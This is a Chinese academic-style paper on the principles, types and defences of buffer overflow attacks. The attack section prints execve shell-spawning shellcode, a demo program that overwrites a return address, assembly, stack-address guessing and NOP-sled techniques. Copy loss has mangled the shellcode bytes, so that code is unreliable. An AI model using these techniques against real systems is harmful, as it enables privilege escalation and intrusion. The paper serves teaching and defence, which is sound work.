缓冲区溢出攻击的分析及防范策略概要
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
缓冲区溢出攻击的分析及防范策略
摘要随着Internet及相关信息技术的迅速发展,网上的电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,网络安全问
题成为各种网上活动需要考虑的头等大事。
本文重点探讨一下缓冲区溢出对计算机系统造成的危害。
因为几十年来,缓冲区溢出一直引起许多严重的安全性
问题。
近年由CERT/CC(Computer Emergency Response Term/Coodination Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。
本文首先解释了缓
冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区
溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码
对缓冲区溢出攻击的产生进行了实例分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的分析,并总结出缓冲区溢出攻击的类型;最后,结
合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出
攻击的防范策略。
关键字:缓冲区溢出攻击
AbstractWith the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to
consider.At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.Buffer overflow attacking is a seriously problem in network security and cause
serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check
the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer
overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking. Key Words:
buffer overflow attacking 一缓冲区与出的概念及原理
1.1何谓缓冲区溢出缓冲区是用户为程序运行时在计算机中申请得的一段连
续的内存,它保存了给定类型的数据。
缓冲区溢出指的是一种常见且危害很大
的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的
溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目
的。
1.2缓冲区溢出的原理从上面的缓冲区溢出概念可以看出,缓冲区
溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果,这是由于程序设
计语言的一些漏洞,如C/C++语言中,不对缓冲区、数组及指针进行边界检
查,(strcpy()、strcat()、sprintf()、gets()等语句),在程序员也忽略对边界进行检查而向一个有限空间的缓冲区中置入过长的字符串可能会带来两种
结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的
可导致系统崩溃;另一种后果是利用这种漏洞可以执行任意指令,甚至可以取
得系统特权,由此而引发多种攻击方法。
缓冲区溢出对系统的安全性带来很大的威胁,比如向程序的有限空间的缓冲区中置入过长的字符串,造成缓冲区溢出,从而破坏程序的堆栈,使程序转去执行其他的指令,如果这些指令是放在有Root权限的内存里,那么一旦这些指令得到了运行,入侵者就以Root的权限控制了系统,这也是我们所说的U2R(User to Root Attacks)攻击。
例如在Unix系统中,使用一些精心编写的程序,利用SUID程序(如FDFORMAT)中存在的缓冲区溢出错误就可以取得系统超级用户权限,在Unix取得超级用户权限就意味着黑客可以随意控制系统。
为了避免这种利用程序设计语言漏洞而对系统的恶意攻击,我们必须要仔细分析缓冲区溢出攻击的产生及类型,从而做出相应的防范策略。
“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00” “x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3” 事例程序如下:
/ test / char shellcode[]=
{“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00” “x00xb8x0bx0 0x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”}; void f(char *src)
{ char dest[4]; memcpy(dest,src,12); } void main() { int
shellentry[3]; shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode; shellentry[2]=(int)shellcode;
f(shellentry); } 由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy
并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。
这里讨论一个现实中的Unix环境下,利用缓冲区溢出的
到一个Shell的行攻击方法的实现。
其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:(1)启动一个一个Shell的代码——Shellcode的获得通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。
高级语言程序如下: shellcode.c #include<stdio.h> void main() { char *name[2]; name[0]=”bin/sh”; name[1]=NULL; execve(name[0],name,NULL); exit(0); } 把上述程序编译之后,可以用gdb
得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。
这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。
解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。
Shellcode的结构如下:(J 代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串
“/bin/sh”,A指向Shellcode的起始地址)。
SCO Unix下的Shellcode的汇编代码如下: Jmp 0x2a # 3 bytes # 跳到CALL指令处
Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esi movl %esi, 0x8(%esi) # 3 bytes movb $0x0,
0x7(%esi) # 4 bytes movl $0x0, 0xc(%esi) # 7 bytes movl $0xb, %eax # 5 bytes
movl %esi, %ebx # 2 bytes # 执行
execve(name[0],name,NULL); leal 0x8(%esi) , %ecx # 3 bytes leal 0xc(%esi) , %edx # 3 bytes int
$0x80 # 2 bytes movl
$0x1,%eax # 5 bytes #执行exit(0) movl
$0x0,%ebx # 5 bytes int
$0x80 # 2 bytes call –
0x2f # 5 bytes #跳到popl %esi指令
处 .string ”/bin/sh” # 8 bytes 利用gdb的x命令可以得到上述汇编代码的二进制代码。
(2)猜测被溢出的缓冲区的位置有了shellcode还不够,在溢出一个缓冲区时,还必须使被溢出的返回地址正确指向shellcode。
在Unix环境下,当我们去溢出另外一个程序的没有边界检查的buffer时,通常只会得到一个Segmentation fault(段错误),程序退出,再没有其他信息。
这就是由于返回地址不正确引起的。
为了正确获得溢出的缓冲区在堆栈的位置,所以需要推测shellcode的起始位置,即被溢出的缓冲区buffer的位置。
Unix环境下,每个进程启动时的初始堆栈的虚存位置时
一样的。
利用下面的程序可以近似的得到这个位置(在环境变量不同、传入的命令行参数不同时,这个值略有变动): unsigned long get_esp(void)
{ _asm_(“movl %esp,%eax”); } void main(void)
{ printf(“0x%x ”,get_esp()); } 通常,进程运行时向堆栈中写入的数据不会超过数百个字节或数千个字节,有了这个起始地址,用简单的一个个尝试的方法也是可以攻击的。
但显然这不是一种效率高的方法。
解决的办法是在缓冲区前端填充几百字节NOP指令,只要猜测的地址落在NOP指令序列中,仍可以执行shellcode,从而成倍地增加猜中的机会。
(3)攻击代码中字节代码为零的消除 Unix的程序中大量使用了strcpy函数,shellcode中含有
0x00,由于通常是攻击一个字符缓冲区,如果攻击代码中含有0,则它会被当
成字符串的结尾处理,于是攻击代码被截断。
消除的方法是对代码做适当的变换,因此在这里需要使用一些汇编程序设计技巧,把shellcode转换成不含
0x00的等价代码。
(4)被攻击的缓冲区很小的情况当缓冲区太小,可能使NOP部分或shellcode部分覆盖返回地址ret,导致缓冲区起址到返回地址的距离不足以容纳shellcode,这样设定的跳转地址就没有用上,攻击代码不能被
正确执行。
一个方法就是利用环境变量。
当一个进程启动时,环境变量被映射到进程堆栈空间的顶端。
这样就可以把攻击代码(NOP串+Shellcode)放到一
个环境变两中,而在被溢出的缓冲区中填上攻击代码的地址。
比如,可以把shellcode放在环境变量中,并把环境变量传入到要攻击的程序中,就可以对
有缓冲区溢出漏洞的程序进行攻击。
利用这样方法,还可以设计很大的攻击代码。
2.2缓冲区溢出攻击的类型缓冲区溢出的目的在于扰乱具有某些特
权运行程序的功能,这样就可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机甚至服务器就被控制了。
一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell。
但并不总是这样,为了达到这个目的,攻击者必须达到如下两个目标:
l 在程序的地址空间里安排适当的代码 l 通过适当地初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。
我们可以根据这两个目标来对缓冲区溢出攻击进行分类。
1.在程序的地址空间里安
排适当的代码有两种在被攻击程序地址空间里安排攻击代码的方法:
(1)植入法:攻击者向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。
这个字符串所包含的数据是可以在这个被攻击的硬件平台运行的指令流。
在这里攻击者用被攻击程序的缓冲区来存放攻击代码,具体方式有以下两种差别: a.攻击者不必为达到此目的而溢出任何缓冲区,可以找到足够的空间来放置攻击代码; b.缓冲区可设在任何地方:堆栈(存放自动变量)、堆(动态分配区)和静态数据区(初始化或未初始化的数据)。
(2)利用已经存在的代码有时候攻击者所要的代码已经存在于被攻击的程序中了,攻击者所要做的只是对代码传递一些参数,然后使程序跳转到想要执行的代码那里。
比如,共及代码要求执行“exec(‘bin/sh’)”,而在libc库中的代码执行“exec(arg)”,其中arg是一个指向字符串的指针参数,那么攻击者只要把传入的参数指针改向指向“/bin/sh”,然后调转到
libc库中相应的指令序列即可。
2.控制程序转移到攻击代码的方法所有这些方法都是在试图改变程序的执行流程,使之跳转到攻击代码。
其基本特点就是给没有边界检查或有其他弱点的程序送出一个超长的缓冲区,以达到扰乱程序正常执行顺序的目的。
通过溢出一个缓冲区,攻击者可以用几乎暴力的方法(穷尽法)改写相邻的程序空间面直接跳过系统的检查。
这里的分类基准是攻击者所寻求的缓冲区溢出的程序空间类型。
原则上可以是任意的空间。
比如起初的Morris Worm(莫尔斯蠕虫)就是使用了fingerd程序的缓冲区溢出,扰乱fingerd要执行的文件的名字。
实际上许多的缓冲区溢出是用暴力的方法来寻求改变程序指针的。
这类程序不同的地方就是程序空间的突破和内存空间的定位不同。
一般来说,控制程序转移到攻击代码的方法有以下几种:
(1)函数返回地址每当一个函数调用发生时,调用者会在堆栈中留下函数返回地址,它包含了函数结束时返回的地址。
攻击者通过溢出这些自动变量,使这个返回地址指向攻击代码,这样就通过改变程序的返回地址,当函数调用结束时,程序跳转到攻击者设定的地址,而不是原先的地址。
这类的缓冲区进出被称为“stack smashing attack”,是目前常用的缓冲区溢出攻击方式。
(2)函数指针“Void(*foo)()”中声明了一个返回值为Void函数指针的变量foo。
函数指针定位任何地址空间,所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出来改变函数指针,当程序通过函数指针调用函数时,程序的流程就会发生改变而实现攻击者的目的。
(3)长跳转缓冲区在C语言中包含了一个简单的检验/恢复系统,称为“setjmp/longjmp”,意思是在检验点设定“setjmp(buffer)”,用longjmp(buffer)“来恢复检验点。
然而,如果攻击时能够进入缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。
像函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。
一个典型的例子就是Perl 5.003,攻击者首先进入用来恢复缓冲区溢出的longjmp缓冲区,然后诱导进入恢复模式,这样就使Perl的解释器跳转到攻击代码上了。
3.综合代码植入和流程控制技术最简单和常见的溢出缓冲区攻击类型就是在一个字符串里综合了代码植入和激活记录。
攻击者定位一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出改变激活记录的同时植入了代码(因为C语言程序员通常在习惯上只为用户和参数开辟很小的缓冲区)。
代码植入和缓冲区溢出不一定要在一次动作内完成,攻击者可以在一个缓冲区内放置代码(这个时候并不能溢出缓冲区),然
后攻击者通过溢出另一个缓冲区来转移程序的指针。
这样的方法一般用来解决可供溢出的缓冲区不够大(不能放下全部的代码)。
如果攻击者试图使用已经常驻的代码而不是从外部植入代码,他们通常必须把代码做为参数。
举例说明,在libc(几乎所有的C程序都用它来连接)中的一部分代码段会执行“exec(something)”,其中的something就是参数,攻击者使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出,使程序指针指向libc中的特定的代码段。
三缓冲区溢出攻击的防范策略缓冲区溢出攻击的防范是和整个系统的安全性分不开的。
如果整个网络系统的安全设计很差,则遭受缓冲区溢出攻击的机会也大大增加。
针对缓冲区溢出,我们可以采取多种防范策略。
1.系统管理上的防范策略(1)关闭不需要的特权程序由于缓冲区溢出只有在获得更高的特权时才有意义,所以带有特权的Unix 下的suid程序和Windows下由系统管理员启动的服务进程都经常是缓冲区溢出攻击的目标。
这时候,关闭一些不必要的特权程序就可以降低被攻击的风险。
如Solaris下的fdformat是个有缓冲区溢出漏洞的suid程序,因为这个格式化软盘的命令用的较少,最直接的措施是去掉这个程序或者去掉suid位。
当有缓冲区溢出漏洞的程序还没有补丁时,就可以用这种方法。
(2)及时给程序漏洞打补丁这是漏洞出现后最迅速有效的补救措施。
大部分的入侵是利用一些已被公布的漏洞达成的,如能及时补上这些漏洞,无疑极大的增强了系统抵抗攻击的能力。
这两种措施对管理员来说,代价都不是很高,但能很有效地防止住大部分的攻击企图。
2.软件开发过程中的防范策略发生缓冲区溢出的主要及各要素是:数组没有边界检查而导致的缓冲区溢出;函数返回地址或函数指针被改变,使程序流程的改变成为可能;植入代码被成功的执行等等。
所以针对这些要素,从技术上我们就可以采取一定的措施。
(1)编写正确的代码只要我们在所有拷贝数据的地方进行数据长度和有效性的检查,确保目标缓冲区中数据不越界并有效,则就可以避免缓冲区溢出,更不可能使程序跳转到恶意代码上。
但是诸如C/C++自身是一种不进行强类型和长度检查的一种程序设计语言,而程序员在编写代码时由于开发速度和代码的简洁性,往往忽视了程序的健壮性,从而导致缓冲区溢出,因此我们必须从程序语言和系统结构方面加强防范。
很多不安全程序的出现是由于调用了一些不安全的库函数,这些库函数往往没有对数组边界进行检查。
这些函数有strcpy()、sprintf()、strcat()等,所以一种简单的方法是利用grep搜索源程序,找出对这些函数的调用,然后代以更安全的函数,如strncpy()替换strcpy()。
进一步的查找可以是检查更广范围的不安全操作,如在一个不定循环中对数组的赋值等。
可用的另一种措施是漏洞探测。
利用一些工具,人为随机地产生一些缓冲区溢出来寻找代码的安全漏洞。
已有这方面的一些高级的查错工具,如fault
injection等。
(2)缓冲区不可执行通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为缓冲区不可执行技术。
事实上,很多老的Unix系统都是这样设计的,但是近来的Unix和MS Windows系统为实现更好的性能和功能,往往在数据段中动态地放入可执行的代码。
所以为了保持程序的兼容性不可能使得所有程序的数据段不可执行。
但是我们可以设定堆栈数据段不可执行,这样就可以最大限度地保证了程序的兼容性。
Linux和Solaris都发布了有关这方面的内核补丁。
因为几乎没有任何合法的程序会在堆栈中存放代码,这种做法几乎不产生任何兼容性问题。
通过使被攻击程序的数据段地址空间不可执行,从而使
得攻击者不可能执行被殖入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术。
事实上,很多老的Unix系统都是这样设计的,但是近来的Unix和MS Windows系统由于实现更好的性能和功能,往往在在数据段中动态地放入可执行的代码。
所以为了保持程序的兼容性不可能使得所有程序的数据段不可执行。
Linux和Solaris也发布了有关这方面的内核补丁。
因为几乎没有任何合法的程序会在堆栈中存放代码,这种做法几乎不产生任何兼容性问题,除了在Linux中的两个特例,这时可执行的代码必须被放入堆栈中: a.信号传递: Linux通过向进程堆栈释放代码然后引发中断来执行在堆栈中的代码来实现向进程发送Unix信号。
非执行缓冲区的补丁在发送信号的时候是允许缓冲区可执行的。
b.GCC的在线重用:研究发现gcc在堆栈区里放置了可执行的代码作为在线重用之用。
然而,关闭这个功能并不产生任何问题,只有部分功能似乎不能使用。
非执行堆栈的保护可以有效地对付把代码植入自动变量的缓冲区溢出攻击,而对于其他形式的攻击则没有效果。
通过引用一个驻留的程序的指针,就可以跳过这种保护措施。
其他的攻击可以采用把代码殖入堆或者静态数据段中来跳过保护。
(3)改进C语言函数库 C语言中存在缓冲区溢出攻击隐患的系统函数有很多。
例如gets(),sprintf(),strcpy(),
strcat(),fscanf(),scanf(),vsprintf()等。
可以开发出更安全的封装了若干已知易受堆栈溢出攻击的库函数。
修改后的库函数实现了原有功能,但在某种程度上可以确保任一缓冲区溢出都被控制在现有堆栈帧之内。
(4)数组边界检查可以说缓冲区溢出的根本原因是没有数组边界检查,当数组被溢出的时候,一些关键的数据就有可能被修改,比如函数返回地址、过程帧指针、函数指针等。
同时,攻击代码也可以被植入。
因此,对数组进行边界检查,使超长代码不可能植入,这样就完全没有了缓冲区溢出攻击产生的条件。
只要数组不能被溢出,溢出攻击就无从谈起。
为了实现数组边界检查,则所有的对数组的读写操作都应当被检查,以确保对数组的操作在正确的范围内。
最直接的方法是检查所有的数组操作,但是会使性能下降很多,通常可以采用一些优化的技术来减少检查的次数。
(5)使堆栈向高地址方向增长缓冲区溢出的一个重要要素是植入的代码成功地被执行。
最常见的是被植入的代码放在堆栈区中。
通过修改操作系统核心,在核心层引入保护机制,限制代码在堆栈区的执行,这样,缓冲区溢出攻击就不可能成功。
到目前为止,我们讨论利用函数返回地址控制程序转移到攻击代码的攻击方法时,有一个基本的前提,那就是当堆栈被压入数据时,栈顶向低地址方向增长,只有这样,缓冲区溢出时才可能覆盖低地址处的函数返回地址指针,从而控制程序转移到攻击代码。
如果我们使用的机器堆栈压入数据时向高地址方向前进,那么无论缓冲区如何溢出,都不可能覆盖低地址处的函数返回地址指针,也就避免了缓冲区溢出攻击。
但是这种方法仍然无法防范利用堆和静态数据段的缓冲区进行溢出的攻击。
(6)程序指针完整性检查程序指针完整性检查是针对上述缓冲区溢出的另一个要素——阻止由于函数返回地址或函数指针的改变而导致的程序执行流程的改变。
它的原理是在每次在程序指针被引用之前先检测该指针是否已被恶意改动过,如果发现被改动,程序就拒绝执行。
因此,即使一个攻击者成功地改变程序的指针,由于系统事先检测到了指针的改变,因此这个指针不会被使用。
与数组边界检查相比,这种方法不能解决所有的缓冲区溢出问题。
但这种方法在性能上有很大的优势,而且兼容性也很好。
程序指针完整性检查大体上有三个研究方向:第一,手写的堆栈检测;第二,堆栈保护;第三,保护指针。
在手写的堆栈检
测中会介绍Snarskii为FreeBSD开发了一套定制的能通过监测cpu堆栈来确定缓冲区溢出的libc。
在堆栈保护中会介绍我们自己的堆栈保护方法所开发的一个编译器,它能够在函数调用的时候自动生成完整性检测代码。
最后在保护指针中介绍正在开发中的指针保护方法,这种方法类似于堆栈保护,它提供对所有程序指针的完整性的保护。
1)手写的堆栈监测 Snarskii为FreeBSD开发了一套定制的能通过监测cpu堆栈来确定缓冲区溢出的libc。
这个应用完全用手工汇编写的,而且只保护libc中的当前有效纪录函数。
这个应用达到了设计要求,对于基于libc库函数的攻击具有很好的防卫,但是不能防卫其它方式的攻击。
2)堆栈保护:编译器生成的有效纪录完整性检测堆栈保护是一种提供程序指针完整性检查的编译器技术,通过检查函数活动纪录中的返回地址来实现。
堆栈保护作为gcc的一个小的补丁,在每个函数中,加入了函数建立和销毁的代码。
加入的函数建立代码实际上在堆栈中函数返回地址后面加了一些附加的字节,如图2示。
而在函数返回时,首先检查这个附加的字节是否被改动过。
如果发生过缓冲区溢出的攻击,那么这种攻击很容易在函数返回前被检测到。
但是,如果攻击者预见到这些附加字节的存在,并且能在溢出过程中同样地制造他们,那么他就能成功地跳过堆栈保护的检测。
通常,我们有如下的两种方案对付这种欺骗: a.终止符号:利用在C语言中的终止符号如
0(null),CR,LF,-1(EOF)等不能在常用的字符串函数中使用,因为这些函数一旦遇到这些终止符号,就结束函数过程了。
b.随机符号:利用一个在函数调用时产生的一个32位的随机数来实现保密,使得攻击者不可能猜测到附加字节的内容。
而且,每次调用,附加字节的内容都在改变,也无法预测。
通过检查堆栈的完整性的堆栈保护法是从Synthetix方法演变来的。
Synthetix方法通过使用准不变量来确保特定变量的正确性。
这些特定的变量的改变是程序实现能预知的,而且只能在满足一定的条件才能可以改变。
这种变量我们称为准不变量。
Synthetix开发了一些工具用来保护这些变量。
攻击者通过缓冲区溢出而产生的改变可以被系统当做非法的动作。
在某些极端的情况下,这些准不变量有可能被非法改变,这是就需要堆栈保护来提供更完善的保护了。
实验的数据表明,堆栈保护对于各种系统的缓冲区溢出攻击都有很好的保护作用,并能保持较好的兼容性和系统性能。
早先我们报告的堆栈保护所能抑制的漏洞都在表一中列出。
随后,我们用堆栈保护的方法重新构造了一个完整的Linux系统(Red Hat5.1)。
然后我们用XFree86-3.3.2-5和lsof的漏洞对此进行了攻击,结果表明,这个系统有效地抵御了这些攻击。
这些分析表明,堆栈保护能有效抵御现在的和将来的基于堆栈的攻击。
堆栈保护版本的Red Hat Linux 5.1已经在各种系统上运行了多年,包括个人的笔记本电脑和工作组文件服务器。
从我们的Web服务器上可以得到这个版本,而且在我们的邮件列表里已经有了55个成员。
出了仅有的一次例外,这个系统和本来的系统工作完全一样,这表明堆栈保护并不对系统的兼容性构成很大的影响。
我们已经用各种性能测试来评测堆栈保护的性能。
Mircobenchmarks的结果表明在函数的调用,堆栈保护中增加了系统的开销。
而在网络的测试中(需要用到堆栈保护的地方),则表明这种开销不是很大。
我们的第一个测试对象是SSH,它提供了极强的加密和认证,用来替代Berkeley的r系列指令。
SSH使用了软件加密,因此系统的占用的带宽不大,我们用网络间复制一个大的文件来测试带宽: scp bigsource localhost:bigdest 测试结果表明:堆栈保护几乎不影响SSH的网络吞吐性能。
第二个测试使用了Apache Web服务器。
如果这种服务器存在基。